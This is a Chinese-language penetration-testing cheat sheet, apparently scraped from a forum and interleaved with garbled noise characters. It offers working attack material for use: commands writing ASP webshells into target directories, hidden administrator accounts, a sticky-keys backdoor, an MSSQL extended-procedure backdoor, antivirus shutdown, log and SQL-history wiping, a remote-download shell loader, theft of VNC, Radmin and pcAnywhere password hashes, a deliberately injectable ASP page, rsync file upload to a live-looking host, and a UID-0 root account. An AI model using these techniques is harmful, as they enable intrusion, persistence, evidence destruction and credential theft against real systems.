渗透技巧总结

admin

旁站路径问题
- J$ h2 `, O! x1、读网站配置。
2、用以下VBS
On Error Resume Next
% d% Y& O% r6 RIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
$ e9 n5 L4 b( o( `        

/ d  S; y0 `: M8 F; CMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

5 _1 I4 g5 d1 V2 R& jUsage:Cscript vWeb.vbs",4096,"Lilo"
# N; L. L! B! o! C; Z0 }3 y        WScript.Quit
. t5 b. w$ k* X9 w$ ]End If
9 A7 H# D0 t3 bSet ObjService=GetObject
, q/ S0 z5 M. r! `% B' G% ~
( f' I3 v2 k0 C("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
" }% {) I5 z$ ~' ~# L! _5 Z9 _! W  Z         
9 R, @7 F+ G2 B2 w$ ^) Y8 E6 |+ B3 W7 O6 b
' @+ _/ @4 \. }: i! k2 j/ g; Z       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
" _2 m1 b) A( `( H) t8 G                If Err
4 U6 A2 ^0 R  e5 {- ?
: ?. S% s0 [2 _1 }<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
! }7 O+ i4 L( _, T) @# m" Z8 w6 A7 a     

' g+ x- y0 ~$ _2 v7 D4 x' w+ K" V8 g                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
& D) ~5 E& J8 J4 H                        
) A* F) e- q/ w
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
! W% O* K/ Y2 F! P( j+ [% u1 y                Next
      

) D$ P" r" S' O) b  |" s         WScript.Echo "ath            : " & VDirObj.Path
  t# @& f1 ^1 i  D# L2 Y. i        End If
) g; g" _+ T8 H+ h4 X7 v( NNext
! v5 }  Z; [3 t: D. A! o复制代码
! T& S1 c4 B$ F( p' m7 ^3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
! w- \3 l- n3 [7 i( O) e5 XWordPress的平台，爆绝对路径的方法是：
1 T6 }- m$ ]: p% Kurl/wp-content/plugins/akismet/akismet.php
' ?) \# P: `% qurl/wp-content/plugins/akismet/hello.php
# Q- \( q$ [4 {——————————————————————
6 t: {3 K( V3 R' F6 VphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
4 {" h* s" a7 x# F' D9 R; q' FphpMyAdmin/darkblue_orange/layout.inc.php
' c8 W7 {% y: D! \/ u" c( O+ MphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
3 a: j, S- S; g7 ^: @————————————————————
: j5 U5 x% P# i网站可能目录(注：一般是虚拟主机类）
% l- W; H0 I1 }data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
! b7 f/ k3 J8 K# `netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
  S; i3 w0 |- e9 c% pnetsh ras ip show config #查看VPN分配IP的方式
2 C7 h) x2 Q$ a* Vnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
' C' Z# g( |+ M" S, b! ]7 qnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
" d; s! ?2 H) h; X" l————————————————————
& |/ H" t& f2 t, S" W! s0 e命令行下添加SQL用户的方法
' O8 X  [* Q7 c3 M: ?/ z需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
6 R6 g- u. a  C& H" k+ j- Z/ vexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

4 h* x7 u5 ^5 c6 a另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
; e' _9 m6 `% t- h/ c# d' @1 a; Ljs:
, Y6 x% q1 L7 g3 a4 L; \var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
. W5 _% `3 s2 x* _! o# kz.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
8 ~7 I; _; w* \1 y) p, ESet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
  ]" z2 s- {9 jz.changePassword "123456",""
z.setting("AccountType")=3
, L* H; A2 O2 u8 C7 v( j# e! |——————————————————
8 A# g/ S; X9 [cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
! C; i! a5 \! E+ W% a' Q
命令如下
% N/ |; x  T- C9 N6 [/ a+ E& ocacls c: /e /t /g everyone:F           #c盘everyone权限
2 r4 Z  P: H: K  n; o4 Y$ h1 xcacls "目录" /d everyone               #everyone不可读，包括admin
# \6 q# z& }. d% ^& D. x, s; T————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
7 F6 r5 I/ M8 x0 D6 h3 V3 \9 a2003 运行mstsc /console   

  r2 o# D, |2 |, e! u: b# X杀软关闭（把杀软所在的文件的所有权限去掉）
- o7 q5 k  B$ @4 w7 f# Z5 b处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
+ I5 ^  k2 I" H; u; i
4 B( a3 r# }5 y卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
0 ?" Q& t6 ^! D& ^' T$ Zcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
- e. a$ e9 D5 Y0 mcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
2 R% k+ ?; s" `: ^. }' G, I——————————————————————
+ q1 G& [% d- C. `* q  @5 S隐藏账号添加：
5 r3 v; ], h/ Q) ^* S" Z1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
' R8 x1 ^! k# e2、导出注册表SAM下用户的两个键值
& O2 q: f2 `, O% [+ @7 \" Z2 |8 A! Y3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
; ]* V2 G3 K( g& Z8 M- p' Q. \——————————————————————
MSSQL扩展后门：
0 s% Y$ i' Y; `! \* P+ S( v1 [USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
/ e9 G1 V4 F6 A* ~% z; K7 `" ]; O8 b———————————————————————
* [4 d4 S( u' ?$ K4 ~% z( g8 Z4 g日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
9 w( A: w1 j8 G5 _6 `ex011120.log / ex011121.log / ex011124.log三个文件，
! P( v3 I' W5 c! s4 _直接删除 ex0111124.log
不成功，“原文件...正在使用”
' z( }2 J" K  Z' t当然可以直接删除ex011120.log / ex011121.log
; f0 Y: D. P0 _0 k/ _4 K9 L; k用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
$ L& {( `# i/ R5 ~: X当停止msftpsvc服务后可直接删除ex011124.log

  v, b0 X: f% e* M  L7 zMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
0 b# Q/ t4 W" s6 _: v—————————————————————————
1 I  p& I. e# N- u# {* G2 m( j防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
$ b. J& b6 Q6 e3 [Dim Ads, Retrieval, GetRemoteData
. P- t# F5 c* G& o. YOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
' R5 q% B! U4 v% |With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
; `1 Y/ y! o) s/ |End With
Set Retrieval = Nothing
3 Z9 m4 S* `! ~Set Ads = Server.CreateObject("Adodb.Stream")
1 |4 z+ L% m0 I/ F+ V% k2 CWith Ads
.Type = 1
.Open
.Write GetRemoteData
+ H1 q0 S& p% D- C: t6 k1 E.SaveToFile Server.MapPath(s_LocalFileName), 2
+ G" N  q: {& a" B( F1 d5 R$ ^.Cancel()
2 D, J2 V  F, R2 R% h0 h.Close()
; t7 [& ?) k% C+ @7 `End With
Set Ads=nothing
1 _1 M3 f4 y: YEnd Sub

+ x4 R1 [1 o1 z9 T, X8 }8 {eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
5 u) a6 d2 y& m5 g& U6 M. L$ S注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
$ a: D4 g: m2 c$ ^* |4 zregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
8 E! a1 f/ `% Q& L+ {Radmin 默认端口是4899，
4 ~6 W9 Z4 J$ NHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
, `' c4 v. y2 D3 b3 fHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
) R  d. y& `3 G8 \6 n然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
2 L+ W0 G/ M3 Y* S# F5 W* ]6 f) }Users\Application Data\Symantec\pcAnywhere\文件夹下。
. q7 Z' R' I! c% P8 N: P——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
( }4 e4 {% ]5 L! J7i24的web目录也是可写，权限为administrator。
/ E9 v% A, V( R
* }8 [) v! I# A2 F1433 SA点构建注入点。
5 T- v- s" x0 o  [+ n- @<%
7 A9 Y6 ?6 M0 M) qstrSQLServerName = "服务器ip"
, d7 z' A/ F2 s0 _strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
/ }% X* x$ i1 V) Z1 G+ {% e2 f  TstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
) }& a' a+ x* t1 C: U
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
# o  {3 [  E' [& ydim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
: ]$ l, G9 w( wstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
7 n) v% L3 b/ T  j4 i+ x复制代码
( i. m  K5 S8 z# j+ z# u6 K******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
* e* I( s0 T# B& k& i, k
; C" j; W& F6 q6 }2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
0 }3 \* ^" o" R2 D! n找到ou,dc,dc设置

/ c  q7 U4 v6 b+ L  W- I! d' U3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
( m' y; e7 f# @' y' }6 c0 sldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
/ v$ H; C5 X$ n$ S+ _: m/ k" n, Y
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
8 B7 }5 A8 @' Oldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
; |2 T( N2 X" ?0 U$ A0 Z' ^8 I  m) @
实战:
1.cat /etc/nsswitch
9 B1 J/ I: F) C/ ]. e看看密码登录策略我们可以看到使用了file ldap模式
0 B- B4 L# d- b: L
5 r5 B) ]& I! t9 N" M; [2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
3 b+ N( A& y5 i4 r/ W8 M
3.查找管理员信息
1 u( v' u) F4 C) E  c/ L* P匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
1 m5 U! Q# O' s- f, |' @
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
+ f* |) I- n% }& w& a有密码形式
, H, m+ c# S- k' l+ r6 m& Gldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


( d7 c3 D8 A) o. a# o4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

6 }) S# f2 D( a4 B渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
  c- t+ f1 g: B+ h- Vversion: 1
+ \3 p# P. [( N% }, U, o( Pdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

) x" \6 Q6 Q5 ]! M/ a1 sdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
! j+ t0 }' {0 bobjectClass: organizationalPerson
4 E$ X( w5 V* O" lobjectClass: person
4 ?. {5 n% Y; g5 L$ zobjectClass: top
sn: manager
4 G9 V' O8 |! I( V  rcn: manager

" ~! H, A) T6 ]/ P3 ^dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
+ d( y' P9 J/ x+ O! T8 o, Tuid: superadmin
objectClass: inetOrgPerson
2 M4 P! T6 n$ _/ wobjectClass: organizationalPerson
objectClass: person
objectClass: top
7 u  {5 c# Q9 I* ^  H! asn: superadmin
cn: superadmin

; F$ ?4 `+ A& p% G. {dn: uid=admin,dc=ruc,dc=edu,dc=cn
- Z2 o5 K- c: Guid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
% G8 S1 D! |" b2 XobjectClass: person
7 t  p# A1 G  R% _- `1 D' tobjectClass: top
9 z0 E) \- y2 T2 h% msn: admin
cn: admin
9 j: w& v6 p8 o
& \. Y; E5 e- A' e, [5 ~% L) W, Odn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
1 N& l3 @" ~9 i' S' ~. r8 _7 cuid: dcp_anonymous
objectClass: top
/ t5 U. S6 v* I" W+ IobjectClass: person
objectClass: organizationalPerson
- [/ i' J$ Q5 h$ D1 ^5 lobjectClass: inetOrgPerson
' I. K/ r$ V. [9 s- tsn: dcp_anonymous
$ \1 C7 K6 q9 B1 B# f" a" Wcn: dcp_anonymous

& G& z3 `& B, n, _6 c' z2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
- i! Y  Q7 X# B  c2 x
$ C% R- ^7 F% Q" U/ m* kmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

% N& X$ `4 u3 h4 |$ {1 [) j, x3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
) ?8 X* E2 E. }* @/ j" q6 z0 k% Gversion: 1
, l3 c$ ~( Z8 C5 M! idn:
objectClass: top
) D; |. @0 ]2 R7 tnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
  t6 ~5 {' {2 c. VsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
' I8 `7 ]* b" D; JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
# [# w/ u( A! usupportedExtension: 2.16.840.1.113730.3.5.5
  n2 b/ L  [+ b! K6 K4 JsupportedExtension: 2.16.840.1.113730.3.5.6
$ P0 k/ `0 n4 msupportedExtension: 2.16.840.1.113730.3.5.4
( w+ j7 k) A, M$ W) I2 wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
* g- R1 \' r9 Z; ~) I0 vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
! b5 e9 U) Y6 A& {6 v, HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
* ^, c- |( f/ h: P* ], i( g3 Y, csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
( d% t/ H2 ~& t! `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
1 s3 Q" B9 ?5 }% w. ~3 i  J$ msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
; P. o. A8 H* w" c) Q6 ^. ~3 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
% D% f9 V6 j4 q( LsupportedExtension: 1.3.6.1.4.1.1466.20037
  A7 t  ?5 s0 d. H6 FsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
" f# y; E& L: ]: j7 O4 ^1 \supportedControl: 2.16.840.1.113730.3.4.2
6 D$ G9 S8 t: H1 s% }; u! k! S0 MsupportedControl: 2.16.840.1.113730.3.4.3
  P" ]& i$ s3 R( E' B1 qsupportedControl: 2.16.840.1.113730.3.4.4
* S+ A4 x  S1 e$ f5 UsupportedControl: 2.16.840.1.113730.3.4.5
% o6 @  k/ d/ I5 ]& Y8 ]# SsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
0 X" u& E) x; a) ^supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
4 G  n3 v. @/ G" z; `. FsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
+ i. s  u1 s8 Y) Z5 wsupportedControl: 2.16.840.1.113730.3.4.12
# ?' l3 n  a: ]supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
  Q+ m  Y' G. \' b! |' hsupportedSASLMechanisms: EXTERNAL
* T' v' e' d3 s4 RsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
! p+ t* [4 ^4 [% j6 vvendorName: Sun Microsystems, Inc.
" i3 p8 C) R) h0 KvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
# O1 `3 l$ i; ^+ W' |( t& nsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
% c! k+ T1 P: C; n. KsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
# X4 v5 m+ a% \% N6 S, v/ a3 AsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
' x/ z& g' |! n8 S% ~$ RsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
; q2 D% P/ P5 U3 }supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
2 k2 k) E. [7 l; Y' gsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
$ M* p0 T, N) x8 X. q/ P) m$ ZsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
) d( v1 G/ z" ~) ~supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
! m; O" \8 e% M% x7 UsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
- X: X1 N- a% n( X- Y4 s% VsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
- b( z  B  T: b& u' wsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
5 \. r5 i; U/ X; h& k5 o: LsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
  e; b0 E$ o6 A! q/ ]supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
& I+ i: X3 J9 g& e' ]supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0 _+ ?2 x4 m7 p! f# k  RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
9 c! y. M3 }- W6 e! i# X$ H" hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
7 M; i" W2 J8 d! m; ?" z- f; XsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
6 ]2 m% q1 S- O8 E, d$ HsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
0 `3 j" r# f$ s. f) B* B. csupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
  O  R2 G! V3 p  X1 r6 o0 Q5 k1 TsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
4 b; m1 W* L5 g4 i1 r% x" \. |' csupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
" }2 o  g! A8 a3 j! _  Y' ssupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
3 }9 I- ^- `* k7 qsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
, x. O% C) x9 ]9 y* [7 LsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
6 ]: j3 H* p3 @$ O1 X6 W: CsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
+ u( r& O- j  w7 t+ EsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
7 W. U: c+ X, O! p0 g) O+ A. isupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
' C" t) k0 e0 }: p4 i* j3 y( AsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
$ E8 }0 j3 x! R/ f  Q+ usupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
* l5 ]- v1 s* usupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
. ?+ b( E- `8 q: G/ T7 ?4 |$ M2 T————————————
2. NFS渗透技巧
" M7 j7 B. B' o5 Q8 eshowmount -e ip
列举IP
5 H: ~8 S7 }  _$ x# g——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
, M* `1 Q8 Y/ t7 @/ N' V, `img_finance
! h" r# o6 J/ Bauto
img_auto
3 L3 t+ _* e0 ahtml_cms
img_cms
ent_cms
" N8 A/ H* `! A' c; ^2 f' Bent_img
! b# H) V& N# ]ceshi
res_img
  L% p5 x6 R8 w5 gres_img_c2
chip
chip_c2
6 }+ V! G) Z5 l+ [ent_icms
games
7 A1 ?8 R- C; t. n. j6 z, b& G8 Zgamesimg
. {$ A$ X5 X+ ^media
& P$ u' @) _4 x" E. Z" vmediaimg
* `  `4 l) B1 O/ U, `4 x2 Yfashion
; d  E8 S3 Y0 @9 |9 ]res-fashion
6 `6 ?0 I% u, j  h/ e% W" {res-fo
taobao-home
res-taobao-home
house
6 B0 T- K: K0 I& H3 x/ L$ Xres-house
* x$ r5 R8 W9 `/ U7 l% U& l3 ires-home
res-edu
9 s7 D7 t2 \2 \1 x# p" Rres-ent
) m2 A% Z8 T3 L/ ~( Zres-labs
5 |1 [5 G5 x& Vres-news
res-phtv
res-media
home
edu
3 D! W, E. l# Enews
6 A7 L) ]4 i% L) cres-book

! ~8 m6 Q' u. Q9 L8 C看相应的下级目录(注意一定要在目录后面添加上/)

1 w5 V6 a+ U3 s; j
rsync 210.51.X.X::htdocs_app/
! u( e$ ]# O* {4 w/ qrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

1 H  f: s% i5 k2.下载rsync服务器上的配置文件
  E) y& c# Q9 Srsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
" I8 i; ?2 X/ |  ?: G3 E
3.向上更新rsync文件(成功上传,不会覆盖)
' h$ ]! K( z4 t9 J8 Ersync -avz nothack.php 210.51.X.X::htdocs_app/warn/
; E( Y5 [3 U4 B( i% z3 Hhttp://app.finance.xxx.com/warn/nothack.txt

. N( t! h% R4 {# {- M) r四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
  }2 O( \% M' H0 {" Q! {GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
6 f5 R7 w) N. ^
15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm
" f# W( ^9 o3 R: @
七: Linux添加UID为0的root用户
2 U9 r* Z% e- ^% p8 buseradd -o -u 0 nothack
" f  m  N/ ?1 m. Y& R/ Z7 P$ J$ `, n
; {9 s$ x2 W2 P# U8 _八.freebsd本地提权
/ Y( w) [/ ]8 @6 Y3 P6 H# ]4 P[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
# ~$ y; q$ A! n% }( M* vfs.usermount: 1
  X& {3 W: J% v4 C* [argp@julius ~]$ id
: t" J/ w$ |- ~& ^/ {* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
" w! i2 b1 d: h4 M
